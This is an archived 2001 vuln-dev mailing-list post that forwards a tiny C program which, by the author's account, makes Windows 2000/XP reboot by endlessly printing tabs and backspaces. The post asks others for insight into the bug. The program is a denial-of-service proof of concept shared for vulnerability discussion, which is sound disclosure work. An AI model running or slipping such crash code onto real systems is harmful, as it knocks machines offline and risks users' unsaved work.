weird Windows 2000/XP bug

From: Teodor Cimpoesu (teo@gecadsoftware.com)
Date: 10/29/01 

Date: Mon, 29 Oct 2001 17:19:47 +0200
From: Teodor Cimpoesu <teo@gecadsoftware.com>
To: vuln-dev@securityfocus.com
Subject: weird Windows 2000/XP bug
Message-ID: <20011029171947.A17544@gecadsoftware.com>

Some guys arround here are having fun with a little C program which causes
Windows200/XP to reboot:

#include <stdio.h>

int main(void)
{
   while (1)
      printf("\t\t\b\b\b\b\b\b");
   return 0;
}

I don't know exactly where it was first seen, and who discovered it; just
thought to forward it here maybe others have insights.

comments?

-- teodor

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